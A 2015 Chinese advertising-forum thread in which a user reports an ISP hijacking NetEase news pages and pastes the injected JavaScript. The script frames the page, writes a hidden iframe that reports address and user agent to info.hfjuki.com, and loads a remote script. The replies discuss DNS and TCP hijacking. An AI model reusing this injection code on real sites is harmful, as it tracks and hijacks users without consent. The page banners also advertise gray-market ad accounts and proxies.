AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G⚡️最干净<Wifi住宅+5G移动>IP代理指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利广告开户独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户百度国际MediaGo⚡️让产品狂奔全球百度国际,高点击转化,快速放量百度国际MediaGo,独家原生流量
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户一手BM分享户不限额9Proxy ⚡️ $0.04/IP, 无限带宽
FB二三解0.1元一个虚拟卡|PTM星际卡FB专用虚拟卡Google、Bing官方总代  联盟流量开户
FB账号资源/稳定靠谱/运行5年啦FB开户代投/三不限/白名单广告位出租 
查看: 8030|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

770

广告币

1422

积分

高级会员

Rank: 4

积分
1422
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑 ( q# \! F, Z* c7 u& e6 e
. P, g$ F0 t. c5 l/ s
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
& n* j. a; c$ E/ i
' c1 r  \- E5 H- |1 N: v$ K9 `接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}- U& O% h, s- z( t1 q! g
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
* q2 v0 f3 U2 o* c

+ f; g# U, q: Z* N( Y- P- _顺便查下ip138:
+ ?; B+ `: c* @" a0 d0 t! L3 a8 x7 _$ p% Y" l5 \! d: D8 _
这是那段js里面的代码,好象是个半成品还没写入广告数据:! r4 g8 j8 y/ J& y+ ^, V4 P8 i
  1. function locationSearch() {/ V2 m" I) m& r0 r
  2.         var s = getMainJs();4 I. x9 h& r1 k
  3.         if (s == null) {2 S4 }/ E4 s. L+ p
  4.                 location.reload();0 [2 k" K3 l: _; M4 E$ Y
  5.         }) p, g& E8 t/ n; D9 i0 |% C
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    ' l0 K6 u& p( C  i
  7. }$ H1 i2 P5 }. x9 X7 W

  8. ' `2 U. S0 x( g# }
  9. function getParameter(name, paraStr) {  f) S' m* V3 Q
  10.         var result = "";
    " \; W# P% E$ T5 |7 y0 \4 B/ A
  11.         var str = "&" + paraStr.split("?")[1];
    % |' P# ~6 h$ C/ T6 z$ E
  12.         var paraName = "&" + name + "=";
    : [9 N/ u3 ~1 D9 h; G% ]' D( ]3 A
  13.         if (str.indexOf(paraName) != -1) {
    & j$ _. t( j# L, y. V
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {6 T! K. p2 c" c7 G
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);* h  K- g# L% }$ N' A: Q! V
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(1 g' k/ g3 d  p% |
  17.                                         1, TmpStr.length).indexOf("&")
    & y% W7 B( ?& J  I
  18.                                         - TmpStr.indexOf(paraName) + 1);
    . M+ ~& }8 M& k$ ?& }9 s
  19.                 } else {1 ]6 f  x: `. i6 U- o
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    9 l5 K  X9 k8 |- H# P
  21.                 }  W7 D8 S1 @5 M+ ]8 B; F) x

  22. 2 Y  R6 c$ _+ O; w( ]# M
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);2 p! f, Y# y; v) o4 V; X
  24.         } else {
    . m, |0 v, ]  u0 U8 t% @' n" `7 {# l$ g
  25.                 result = "No such parameter";5 r* U) Y$ [: q! ?* C, ?+ I& z  G
  26.         }! T0 n; t! u/ `: I
  27.         return (result.replace("&", ""));
    ' P3 z/ g4 b9 K4 U5 S
  28. }
    ; S# T! D' e. ~; ~5 ]7 y! `0 r
  29. 9 m+ j0 O* y- G  i
  30. function getMainJs() {/ I+ Y* g; J) J
  31.         var scripts = document.getElementsByTagName("script");
    ) e% ]; r# L! M2 @
  32.         var s = null;
    ) J& u" U$ J7 U: S% |3 c/ ~3 K) }6 ^% `
  33.         for (var i = 0; i < scripts.length; i++) {
    ( Y" E( y  g4 `8 f7 K" @/ Q; I
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    + R& U3 D$ L" ~% _6 A
  35.                         s = scripts[i];2 o1 Y; n9 v$ F4 E4 m1 P+ p/ C
  36.                         break;
    # b. A4 K, ]& @! l: ~$ z5 C
  37.                 }
    # M1 I$ F4 o* Y2 E& v# O
  38.         }
    9 X, C9 s$ v- C, P) x3 j
  39.         return s;' X% V/ d* R; ?6 @& S% m
  40. }" Q, {7 h: o% s
  41. 5 y4 X! l3 ?% O3 a' b/ k
  42. function appendParam(oStr, aStr) {
    ' M$ V& S! p7 S, O% S" G  |* c
  43.         if (oStr.indexOf('?') > 0) {- s; X  A: E) o. L- P
  44.                 oStr = oStr + "&" + aStr;
    ) e0 F: ~  o6 `: p7 }  Q' \
  45.         } else {, B% s6 ^, N; d* v5 ]
  46.                 oStr = oStr + "?" + aStr;
    ' `, G  o+ _3 X! x# v
  47.         }4 T- H& P* V2 j0 k' |2 \) r* F
  48.         return oStr;" l9 f6 r# n) G5 \* [# q+ j
  49. }
    0 n2 c' m& {( g

  50. " j; m9 O8 Z$ Z/ o9 a% k4 r) H( j
  51. window.onerror = function() {
    / }5 U7 a% R8 h" e! [- \
  52. };
    . M8 e* I9 |6 r
  53. ) B; e; `& Q% F; f% p: G
  54. var g_titleTime = 0;
    : J. u2 C" b% f8 ~+ ^( l1 u/ d
  55. function setTcTitle() {
    2 q9 k+ R( Z4 y; d
  56.         if (undefined == document) {+ U4 d9 }, t& t4 Q  H
  57.                 g_titleTime++;
    ! G% B% A- R8 D0 P1 g: n0 ~
  58.                 setTimeout("setTcTitle();", 1000);$ Z$ g0 {4 n9 O( ]( m8 L# R1 p( i
  59.                 return;: P4 T% n8 Z0 s; T) Y5 ]! t6 S
  60.         }2 n: i+ v6 Q5 {
  61. 9 e0 M2 a) O5 E
  62.         var doc;
      P( y* G! G- A. q- H, d+ l
  63.         try {: P2 M5 P) f$ ?$ I" z! u
  64.                 if (document.all) {
    7 u1 z# s: i6 [
  65.                         doc = document.frames["cn"].document;7 B6 F' }; [# G8 ~+ S* i) A
  66.                 } else {
    ( l( M8 K$ l3 _. R' v" i, `/ P/ V
  67.                         doc = document.getElementById("cn").contentDocument;
    ; {6 y  j7 E1 }6 B9 v* e6 N
  68.                 }
    1 H' R4 ~0 e/ E, V; o+ ?+ J9 W
  69.         } catch (ex) {: G7 v$ M+ D/ j
  70.         }2 x5 ~- A7 i$ E! k% l  P

  71. + C& S. X- u+ ?8 F8 ?/ M
  72.         if (g_titleTime < 5# j  |( {5 D' H* D( w9 E
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {% x! q/ c$ \5 e
  74.                 g_titleTime++;+ ?. m6 P% o8 ?* P$ K. h
  75.                 setTimeout("setTcTitle();", 1000);
    3 A. R! q1 w0 u5 u9 g; o4 o
  76.                 return;
    3 k0 S0 S$ J. `' ^* w9 {! v
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {; H' I+ ^% Z6 L: L; c5 E* e
  78.                 document.title = doc.title;: @# [9 b0 Z* `: c& t+ F4 h/ M- J
  79.                 setTcAdvVisible();! s! M7 ?. |) ^5 ?- F
  80.         }3 k# k* C  M& I) b) d
  81. }3 y7 |5 E+ s! L* a3 a" [3 O

  82. 7 ?, T4 S; f% t( A1 U1 @; Z, X/ o
  83. setTimeout("setTcTitle();", 1000);/ Q$ `* `$ F2 H

  84. - c. S) F( M8 ^9 o; c
  85. var g_isHaveVisible = false;
    5 j% Y9 |- w; l1 `- w( }/ b. r
  86. function setTcAdvVisible() {
    2 u6 j/ u/ v5 Y' [8 F
  87.         if (undefined != document && undefined != document.getElementById("addiv")
    9 w, D( S  S. `, f% p7 j
  88.                         && !g_isHaveVisible) {! i9 i; Y' g* I) r8 L* u* \, k
  89.                 document.getElementById("addiv").style.visibility = 'visible';
      ]# `" v( `) B( a' a
  90.                 document.getElementById("addiv").style.display = 'block';& t/ H1 M1 q; Z
  91.                 g_isHaveVisible = true;
    & T( h2 u/ l- R$ F4 ^. `
  92.         }
    : X9 x4 d. Z. g& w3 |4 C, b" R
  93. }
    & b& N! k1 {0 k

  94. ( E4 ~' Z5 |0 D( ~1 f  u6 U  R, R
  95. function UrlAnalyzer() {% N  k' f. _7 w! y
  96.         this.divda = "";
    ) h, a- O" B& v% f2 D. C
  97.         this.tctype = "";
    / R, X3 i4 _5 l% Z7 D: l5 L: q3 O
  98.         this.radius = "";
    * L$ V3 G1 @1 }* C2 ~9 w7 k" h
  99.         this.rlu = "";
    * \% M% z7 B  p4 Y
  100. }; u3 Y% _& h1 A! Q* ~3 l6 l* r6 e

  101. % O$ C0 E9 y! W  k' I2 H
  102. UrlAnalyzer.prototype.initParameters = function() {
    2 [: c' U% u$ s7 @
  103.         var paraStr = locationSearch();
    4 H2 h7 Q3 Z! Z$ y+ E. r+ [9 l: e
  104.         this.rlu = getParameter("lruedct", paraStr);
    9 n5 K' h9 K4 j) m* t3 E
  105.         this.divda = getParameter("divda", paraStr);' D( u2 i8 z0 h9 N1 H) b7 b
  106.         this.radius = getParameter("radius", paraStr);
    ! n  A$ c' _! n! z6 \
  107.         this.tctype = getParameter("tctype", paraStr);: q+ R8 T! O1 H3 y" u; z5 v( t# ]
  108.         this.address = getParameter("address", paraStr);6 }# [. P2 X! U! ]/ s, ^
  109.         this.usagent = getParameter("usagent", paraStr);
    / A2 h( N& X, F
  110. }
    , l6 z* {# }" S  _2 M

  111. & c+ M  t1 X, P9 d$ W, ^$ n& |
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    , W4 n1 e& N8 z  o5 x& i7 ^
  113.         var doc;
    / O/ s- A! x2 u* o( t6 G
  114.         try {$ ^5 S# z/ G* V' h) q4 v
  115.                 if (document.all) {
    8 m+ J4 M5 H4 p1 K0 b1 r
  116.                         doc = document.frames["cn"].document;1 B- M# k1 k2 ~

  117. 6 J! _1 A7 n3 R' k& |" Z, H
  118.                 } else {- L' i! Y' V# |) V7 w/ j
  119.                         doc = document.getElementById("cn").contentDocument;4 E* S9 }+ ?$ M: Z" ?
  120.                         // doc = document.getElementById("cn").contentWindow.document;
    * e* q4 d' ^3 J: D: R
  121.                 }7 g9 S7 Y0 k: Y9 }9 l2 k. r1 Y
  122.         } catch (ex) {/ F# H- _% o2 i7 |! A
  123.         }# c$ O: j& m5 e1 o1 f8 S
  124.         return doc;
    ; C- S  v9 G# \3 W/ r) x
  125. }
    # s$ @2 a5 [1 n5 @4 C4 ]; Q9 m$ A( M
  126. 6 H& g7 M/ E7 `
  127. UrlAnalyzer.prototype.setDomain = function() {
    % d6 H$ Y) o: B5 h' ^
  128.         if (undefined != document.title && "" == document.title). F8 [/ A1 D! o, t8 C, @
  129.         {
    ! @+ j! r; l3 i, B) w+ B
  130.                 var index = document.domain.indexOf(".");
    8 g5 R$ r( X: o' A9 R
  131.                 if (undefined != index && -1 != index) {% H! ?. ?' \+ I7 C2 X- x0 s" n$ s  O
  132.                         document.domain = document.domain.substring(index + 1,
    % {9 J* A4 ^( y9 d" @
  133.                                         document.domain.length);
    / y" F- u2 G2 u+ y* C6 _4 B& ]  q- i
  134.                 }1 ~  ?  X) F5 u8 l) ?# u
  135.                
    6 D2 k9 j: k, P$ v  e9 [& z! n
  136.                 var doc = this.getHtmlDoc();$ I  u' l1 v7 v1 I. ]8 F
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {0 q7 O# M/ p" E( @( M
  138.                         document.title = doc.title;
      S% c! m# a& e  W9 G( J
  139.                         setTcAdvVisible();
    : E) X" m; N8 L) X, }1 X8 C7 v' N
  140.                 }
    9 R6 Z7 ]$ o: w! u
  141.         }; a, A" C  K2 z# z' |% F
  142. }" E6 P! S8 i* j+ `& _
  143. 7 I. l2 [/ c$ |" M/ C
  144. UrlAnalyzer.prototype.iframeCallback = function() {' W; V& W. X! S8 h+ u  q
  145.         var doc = this.getHtmlDoc();3 ~0 N! \; b: T6 W: i$ C- C
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    7 j8 g) _" o5 y' U
  147.                 if (undefined != document.domain) {
    * v/ @; ^/ [* H

  148. $ d6 p2 y7 c. M) z9 }. `, r
  149.                         var self = this;5 e/ ^2 v+ p  y: U( I/ q0 ^
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);$ n- P* ]; r+ R! R$ E  _
  151.                         // var index = document.domain.indexOf(".");
    1 }5 b$ j: W3 ]2 d, j1 Z3 n
  152.                         // if (undefined != index && -1 != index) {' a# s. N( b. P" }8 i& @
  153.                         // document.domain = document.domain.substring(index + 1,7 E& I. Z/ [: H$ q  F
  154.                         // document.domain.length);
    6 n& e; B1 O/ n8 h5 T. `
  155.                         // }
    ! `3 ^; F0 S# q1 X4 n, U
  156.                         //
    % w! I' }; F# W) `- ?
  157.                         // var doc = this.getHtmlDoc();1 e. ^: f, @3 p/ H
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    , ~. g( m0 u! W6 S1 }" J( N
  159.                         // doc.title) {! d3 _( f8 L2 l
  160.                         // document.title = doc.title;
    0 b; H$ R, G/ {4 }
  161.                         // setTcAdvVisible();8 l% S* A2 w% Z( g
  162.                         // }
    0 ~( M8 O" F+ W
  163.                 }
    4 M, v$ d. @3 ?! e
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {; |7 `& p6 `' H9 ^& X% N
  165.                 document.title = doc.title;, ?: I" o3 ~7 t/ J5 B: ^" }
  166.                 setTcAdvVisible();) W& I7 `) }1 n$ i- W0 y
  167.         }
    ! k% ~+ k. Y1 f5 w/ C! M
  168. }; @. Y, b, N9 s0 i
  169. ; q9 o3 H! p! {4 u: g- \
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {
    ( Y9 D% H$ A/ |, }5 d
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda$ i- c. J. i0 X0 a/ J# z
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    1 C+ S. K! \: f% `

  173. & r6 M3 I" O4 ?# N" o( A8 I
  174.         var htmlStr = "<iframe src="" + staUrl) K( D1 T. w! n! i2 m7 @1 ^
  175.                         + "" style="display:none"></iframe>";
    / `) r- ?& }9 e( t( g7 T$ f

  176. ! t6 P5 L* b7 ]+ G$ \1 g
  177.         var advUrl = htmlStr, e5 h1 j; K9 `/ A5 N- I% Y$ z
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
    # h- M. \4 F6 d: U# i
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    5 T( G% D1 y- t8 c4 a
  180.         document.write(advUrl);% U" e% _3 u/ h3 h$ T

  181. 2 O; d5 N9 M6 o+ h; }* [
  182.         var self = this;
    9 _/ g% l$ O$ l" Z
  183.         var iframe = document.getElementById("cn");6 p2 z5 n! `; [# u2 e& `
  184.         if (iframe.attachEvent) {, B  V& H; ^/ |# x- n! \6 c' H% K
  185.                 iframe.attachEvent("onload", function() {5 A* p7 y+ {6 S- s9 z
  186.                         self.iframeCallback.call(self, null);
      }# U3 J+ x- q- @0 m3 }! Z* A
  187.                 });( t8 H$ d- |; Z
  188.         } else {
    . T5 P- G; I# R+ ~
  189.                 iframe.onload = function() {
      j2 J2 D4 P! \& C3 H1 j- N& b
  190.                         self.iframeCallback.call(self, null);
    9 p' K$ ^- v( P. P
  191.                 }
    6 Z; s/ d5 M7 |1 p4 [/ V9 r" r
  192.         }
    ( Z0 N9 B# E  u; Z: R; S+ x
  193. }0 Z  b1 D, d3 T
  194. ( ^! h1 y1 U0 y
  195. UrlAnalyzer.prototype.executeMain = function() {
    ) C/ g3 \# K, ^" V3 S- K
  196.         var mainFrame = document.getElementById("cn");
    % D. B# {+ W( q$ X% g
  197.         mainFrame.contentWindow.location.href = mainFrame.src;1 t2 M% F7 m* {) l
  198.         this.initParameters();* T2 a6 z8 Z0 m% d- l& |
  199.         this.executeHtmlContext();, i+ e% e" O( P) x3 k, q
  200. }
    + {. U2 R0 n: R. Z/ z5 `

  201. # v  y. U( ^8 M
  202. var g_analyzer = new UrlAnalyzer();
    ! \+ ^$ s+ j# K& O8 ]
  203. g_analyzer.executeMain();
    , x2 X9 `$ n8 z; l2 c3 K
复制代码
9 d- ^* o* j4 i1 A8 d7 m
7 o+ z+ R- J% x7 e* C4 j

5 A1 ^# |! W/ s" S1 w( L, \

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

51

主题

449

广告币

835

积分

中级会员

Rank: 3Rank: 3

积分
835
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

346

广告币

593

积分

中级会员

Rank: 3Rank: 3

积分
593
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1637

广告币

1951

积分

高级会员

Rank: 4

积分
1951
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

69

广告币

497

积分

中级会员

Rank: 3Rank: 3

积分
497
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
3 `, B: n. }1 P8 O0 [所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

; @4 [: a: v* j/ ^$ }+ eTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
) F1 ?8 [6 X8 H: yTCP劫持,换DNS也不管用的。

1 G) w+ J( t2 {幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2024-11-15 09:00 , Processed in 0.050130 second(s), 14 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表